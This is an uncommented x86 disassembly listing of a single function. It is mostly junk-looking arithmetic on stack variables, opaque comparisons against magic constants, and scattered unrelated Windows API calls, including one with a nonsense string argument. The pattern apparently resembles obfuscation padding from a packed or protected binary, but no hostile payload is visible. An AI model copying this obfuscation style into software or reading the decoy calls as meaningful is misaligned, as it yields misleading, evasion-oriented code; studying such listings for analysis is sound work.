call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x5c0], eax
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f5]
sub ecx, edx
mov eax, dword [ebp - 0xab8]
mov byte [eax], cl
jmp 0x4f2b2d
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x7bd], dl
mov ecx, dword [ebp - 0x804]
mov edx, dword [ebp - 0x1fbc]
or edx, dword [ecx]
mov eax, dword [ebp - 0x29c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x208]
sar edx, cl
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x208], edx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
movzx edx, byte [ebp - 0x7bd]
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x213a]
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x168]
mov byte [edx], cl
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [ebp - 0x33c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd00]
add ecx, 0xd
mov dword [ebp - 0xd00], ecx
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ebp + 0xc]
sub eax, dword [edx]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x22a0]
add ecx, dword [ebp - 0x1fbc]
mov edx, dword [ebp - 0x14a0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x394]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x308]
add ecx, dword [edx]
mov eax, dword [ebp - 0x142c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x10d0]
sub ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x33c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xab8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1bdc]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x5f5], cl
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xab8]
mov byte [eax], dl
movzx edx, byte [ebp - 0xa49]
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0xf9c]
mov byte [ecx], dl
movzx edx, word [ebp - 0x18dc]
movzx eax, word [ebp - 0x10dc]
or edx, eax
mov word [ebp - 0xa9c], dx
mov ecx, dword [ebp - 0x394]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2168]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0xc34]
mov edx, dword [ebp + 0xc]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x10d0], edx
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x10d0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x8b8]
mov byte [edx], cl
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [ebp - 0x76c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x142c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x6cc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1fbc]
add ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0x10dc]
add eax, ecx
mov word [ebp - 0xa9c], ax
movzx edx, byte [ebp - 0xa49]
movzx eax, byte [ebp - 0x213a]
sub edx, eax
mov ecx, dword [ebp - 0xf9c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp + 0xc]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp - 0x10d0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x142c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x1fbc]
mov eax, dword [ebp - 0x14a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xab8]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x5f5], dl
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ebp - 0x2168]
xor edx, dword [ecx]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x168]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x168]
mov byte [ecx], dl
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x804]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1fbc]
and eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x29c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
mov eax, dword [ebp - 0x10d0]
add eax, dword [edx]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2168]
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x208]
and edx, dword [ecx]
mov dword [ebp - 0x2168], edx
movzx eax, word [ebp - 0xa9c]
movzx ecx, word [ebp - 0x10dc]
sub eax, ecx
mov word [ebp - 0x18dc], ax
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xa49]
add eax, ecx
mov edx, dword [ebp - 0xf9c]
mov byte [edx], al
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0x76c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x804]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10d0]
sub eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x10d0]
add eax, dword [edx]
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0xe60]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x10dc]
movzx ecx, word [ebp - 0x18dc]
shl eax, cl
mov word [ebp - 0xa9c], ax
cmp dword [ebp - 0xd00], 0x4cd
jb 0x4f2b43
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xead]
or edx, eax
mov ecx, dword [ebp - 0x680]
mov byte [ecx], dl
mov dword [ebp - 0x19b8], 0x100ac
mov edx, 0x60f8
mov word [ebp - 0x174], dx
lea eax, [ebp - 0x5f5]
mov dword [ebp - 0x2298], eax
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ebp - 0x2168]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp + 0xc]
and ecx, dword [eax]
cmp edx, ecx
jge 0x4f303b
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
mov dword [ebp - 0x26a4], eax
cmp dword [ebp - 0x26a4], 0x53e42f52
je 0x4f2f89
jmp 0x4f3013
lea ecx, [ebp - 0x10dc]
push ecx
lea edx, [ebp - 0x2530]
push edx
call dword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [ebp - 0x1e1c], eax
mov eax, dword [ebp - 0x29c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x76c]
mov dword [ebp - 0x22a0], ecx
mov edx, dword [ebp - 0x142c]
mov eax, dword [ebp - 0x33c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x13d8]
mov dword [edx], ecx
lea eax, [ebp - 0x10dc]
push eax
lea ecx, [ebp - 0x300]
push ecx
push str.Caking_Inconsistent_Blazes_forelegs
lea edx, [ebp - 0x300]
push edx
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x102c], eax
mov eax, dword [ebp - 0x2298]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x2298]
mov byte [edx], cl
jmp 0x4f303b
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x294]
push ecx
lea edx, [ebp - 0xf70]
push edx
lea eax, [ebp - 0x2084]
push eax
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x660], eax
movzx ecx, byte [ebp + 8]
movzx edx, byte [ebp - 0xa49]
add ecx, edx
mov eax, dword [ebp - 0x680]
mov byte [eax], cl
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x208]
and edx, dword [ecx]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x804]
add edx, dword [eax]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], edx
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x16d0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
movzx eax, word [ebp - 0x10dc]
movzx ecx, word [ebp - 0xa9c]
sub eax, ecx
mov word [ebp - 0x18dc], ax
movzx edx, byte [ebp - 0x213a]
movzx ecx, byte [ebp - 0xa49]
sar edx, cl
mov byte [ebp - 0x7bd], dl
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0xe60]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x167c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1af0]
add ecx, 0x8d
mov dword [ebp - 0x1af0], ecx
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp - 0x2168]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp - 0x10d0]
or eax, dword [edx]
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x10d0]
and edx, dword [ebp - 0x2168]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0xc34]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2168]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x804]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x5f5]
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2298]
mov byte [ecx], al
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp + 0xc]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xa49], al
mov eax, dword [ebp - 0x804]
mov ecx, dword [ebp - 0x76c]
and ecx, dword [eax]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
cmp dword [ebp - 0x1af0], 0x1fcb
jne 0x4f303b
movzx eax, word [ebp - 0x10dc]
mov dword [ebp - 0x26a8], eax
cmp dword [ebp - 0x26a8], 0x393
je 0x4f31f7
jmp 0x4f32eb
push 0xe3
lea ecx, [ebp - 0x1c88]
push ecx
mov edx, dword [ebp - 0x2404]
push edx
mov eax, dword [ebp - 0x131c]
push eax
mov ecx, dword [ebp - 0x131c]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0x9f8], eax
movsx edx, word [ebp - 0x174]
cmp edx, 0x559d
jg 0x4f327c
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x8b8]
mov byte [edx], cl
mov eax, dword [ebp - 0x208]
push eax
movzx ecx, byte [ebp - 0x213a]
push ecx
call fcn.004ef7c0
add esp, 8
mov edx, dword [ebp - 0x13d8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x208]
shl eax, cl
mov dword [ebp - 0x10d0], eax
lea ecx, [ebp - 0x1ec0]
push ecx
lea edx, [ebp - 0xc58]
push edx
lea eax, [ebp - 0x17d0]
push eax
lea ecx, [ebp - 0x2190]
push ecx
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0x14f4], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x804]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0xa40]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2168]
or eax, dword [ebp + 0xc]
mov dword [ebp - 0x10d0], eax
call fcn.004d7e60
mov edx, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x2168]
sar edx, cl
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
jmp 0x50dd83
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x680]
movzx eax, byte [eax]
add ecx, eax
cmp edx, ecx
jl 0x50dcdf
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x208]
sub ecx, dword [eax]
cmp edx, ecx
jg 0x50db72
movsx edx, word [ebp - 0x174]
mov dword [ebp - 0x26ac], edx
cmp dword [ebp - 0x26ac], 0x45
je 0x4f33ba
cmp dword [ebp - 0x26ac], 0x60f8
je 0x4f3366
jmp 0x4f341d
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x394]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x394]
mov dword [eax], edx
lea ecx, [ebp - 0x874]
mov dword [ebp - 0x20fc], ecx
mov edx, dword [ebp - 0xc34]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x308]
add eax, dword [ecx]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], eax
lea eax, [ebp - 0x10dc]
mov dword [ebp - 0x240c], eax
jmp 0x4f341d
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], dl
mov cl, byte [ebp - 0xa49]
mov byte [ebp - 0x26b0], cl
cmp byte [ebp - 0x26b0], 0x28
je 0x4f3409
cmp byte [ebp - 0x26b0], 0x7f
je 0x4f33f6
jmp 0x4f341d
mov edx, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x10dc]
call fcn.004721c0
jmp 0x4f341d
mov edx, dword [ebp - 0x16d0]
mov eax, dword [edx]
and eax, dword [ebp - 0x114]
mov dword [ebp - 0x2168], eax
movsx ecx, word [ebp - 0x174]
cmp ecx, 0x4d00
jl 0x50da36
mov edx, dword [ebp - 0x394]
mov eax, dword [edx]
mov dword [ebp - 0x26b4], eax
cmp dword [ebp - 0x26b4], 0x4c6f5e2c
je 0x4f344f
jmp 0x4f359c
mov ecx, dword [ebp - 0x804]
mov edx, dword [ebp - 0x76c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x14a0]
mov dword [eax], edx
mov cl, byte [ebp - 0xa49]
mov byte [ebp - 0x26b8], cl
cmp byte [ebp - 0x26b8], 0xd
je 0x4f347f
jmp 0x4f357c
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa9c]
add eax, ecx
movzx edx, word [ebp - 0x10dc]
movzx ecx, word [ebp - 0x18dc]
sar edx, cl
cmp eax, edx
jne 0x4f357a
mov eax, dword [ebp - 0x1ca0]
push eax
call dword [sym.imp.SHELL32.dll_DragFinish]
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
mov dword [ebp - 0x26bc], edx
cmp dword [ebp - 0x26bc], 0x47d
je 0x4f3565
cmp dword [ebp - 0x26bc], 0xe34
je 0x4f34e6
jmp 0x4f357a
mov eax, dword [ebp - 0x33c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2168]
shl edx, cl
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
call fcn.004d7e60
mov ecx, dword [ebp - 0x394]
mov edx, dword [ebp - 0x2168]
or edx, dword [ecx]
mov dword [ebp - 0x114], edx
lea eax, [ebp - 0x5f5]
push eax
mov ecx, dword [ebp - 0xc64]
push ecx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0xfa0], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x20fc]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xa49], cl
jmp 0x4f357a
movzx ecx, byte [ebp - 0x7bd]
push ecx
movzx edx, byte [ebp - 0x5f5]
push edx
call fcn.004d1cd0
jmp 0x4f3597
mov eax, dword [ebp - 0x240c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18dc]
add ecx, edx
mov eax, dword [ebp - 0x240c]
mov word [eax], cx
jmp 0x50d97a
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x394]
add edx, dword [eax]
mov dword [ebp - 0x10d0], edx
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ecx]
and edx, dword [ebp - 0x114]
mov dword [ebp - 0x208], edx
mov eax, dword [ebp - 0xa40]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x874]
mov dword [ebp - 0x1fbc], ecx
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
add eax, dword [ebp - 0x114]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x142c]
mov edx, dword [ebp - 0x114]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
mov edx, dword [ebp - 0x6cc]
mov eax, dword [ebp - 0x208]
sub eax, dword [edx]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x213a]
or edx, eax
mov byte [ebp - 0xa49], dl
movzx edx, word [ebp - 0xa9c]
movzx ecx, word [ebp - 0x10dc]
shl edx, cl
mov eax, dword [ebp - 0x240c]
mov word [eax], dx
mov ecx, dword [ebp - 0x19b8]
sub ecx, 0x32
mov dword [ebp - 0x19b8], ecx
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x804]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0xa40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10dc]
and edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
movzx edx, byte [ebp - 0x7bd]
movzx eax, byte [ebp - 0xead]
sub edx, eax
mov byte [ebp - 0x213a], dl
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x22a0]
mov dword [ebp - 0x1fbc], edx
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x142c]
add edx, dword [eax]
mov dword [ebp + 0xc], edx
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ebp - 0x22a0]
and edx, dword [ecx]
mov dword [ebp - 0x1fbc], edx
cmp dword [ebp - 0x19b8], 0xefae
jae 0x4f35b2
movsx eax, word [ebp - 0x174]
mov dword [ebp - 0x26c0], eax
cmp dword [ebp - 0x26c0], 0x60f8
je 0x4f3752
jmp 0x50d822
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
mov dword [ebp - 0x26c4], edx
cmp dword [ebp - 0x26c4], 0x631
je 0x4f376f
jmp 0x4f378f
mov eax, dword [ebp - 0x240c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xa9c]
shl edx, cl
mov eax, dword [ebp - 0x240c]
mov word [eax], dx
jmp 0x4f381a
mov ecx, dword [ebp - 0xf9c]
mov dl, byte [ecx]
mov byte [ebp - 0x18a1], dl
mov al, byte [ebp - 0x5f5]
mov byte [ebp - 0x26c8], al
cmp byte [ebp - 0x26c8], 0x2d
je 0x4f3800
cmp byte [ebp - 0x26c8], 0x47
je 0x4f37bd
jmp 0x4f381a
lea ecx, [ebp - 0x1a78]
push ecx
call dword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [ebp - 0x1a58], eax
mov edx, dword [ebp - 0x14a0]
mov eax, dword [ebp - 0x1fbc]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x76c], eax
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ebp - 0x804]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], eax
jmp 0x4f381a
lea edx, [ebp - 0x10dc]
push edx
lea eax, [ebp - 0x167c]
push eax
call dword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [ebp - 0x7c8], eax
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
add edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x33c]
mov dword [eax], edx
cmp dword [ebp - 0x5bc], 0xb9c2
jae 0x4f3b79
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
sub edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x394]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2168]
mov dword [ebp - 0x10d0], edx
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xead], cl
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
add edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
mov edx, dword [ebp - 0x20fc]
mov eax, dword [edx]
mov dword [ebp - 0x874], eax
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ecx]
and edx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x2168]
add eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [edx]
sub eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x20fc]
mov dword [ecx], eax
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov word [ebp - 0x10dc], dx
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x168]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x18a1]
movzx edx, byte [ebp - 0x7bd]
or ecx, edx
mov byte [ebp + 8], cl
movsx eax, byte [ebp - 0x5f5]
mov ecx, dword [ebp - 0x1bdc]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x2298]
mov byte [edx], al
mov eax, dword [ebp - 0xa40]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x76c]
shl edx, cl
mov eax, dword [ebp - 0xa40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x142c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x208]
mov dword [ebp - 0x114], edx
movzx eax, word [ebp - 0x10dc]
movzx ecx, word [ebp - 0xa9c]
add eax, ecx
mov word [ebp - 0x18dc], ax
movzx edx, byte [ebp - 0x213a]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x680]
mov byte [eax], dl
mov ecx, dword [ebp - 0x142c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x33c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x16d0]
mov dword [ecx], edx
mov edx, dword [ebp - 0x22a0]
add edx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x167c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x142c]
mov edx, dword [ebp - 0x33c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x10dc]
and edx, eax
mov word [ebp - 0x18dc], dx
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x168]
mov byte [eax], dl
mov ecx, dword [ebp - 0x20fc]
mov edx, dword [ebp - 0xe60]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x29c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x13d8]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2168], edx
mov eax, dword [ebp - 0x394]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2168]
sar edx, cl
mov eax, dword [ebp - 0x142c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ebp - 0x6cc]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x394]
mov edx, dword [ecx]
sub edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x5f5]
and edx, eax
mov ecx, dword [ebp - 0xab8]
mov byte [ecx], dl
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f5]
sub eax, ecx
mov edx, dword [ebp - 0x2298]
mov byte [edx], al
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x18a1]
sub ecx, edx
mov byte [ebp + 8], cl
mov eax, dword [ebp - 0x240c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18dc]
sub ecx, edx
mov eax, dword [ebp - 0x240c]
mov word [eax], cx
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x76c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x874]
mov dword [ebp - 0x22a0], ecx
mov edx, dword [ebp - 0x5bc]
add edx, 0x8f
mov dword [ebp - 0x5bc], edx
movzx eax, byte [ebp - 0x18a1]
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp + 8], al
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp - 0x10d0]
and eax, dword [edx]
mov ecx, dword [ebp - 0x13d8]
mov dword [ecx], eax
jmp 0x4f3830
mov edx, dword [ebp - 0xa40]
mov eax, dword [edx]
mov dword [ebp - 0x26cc], eax
cmp dword [ebp - 0x26cc], 0x2848f379
je 0x4f3bec
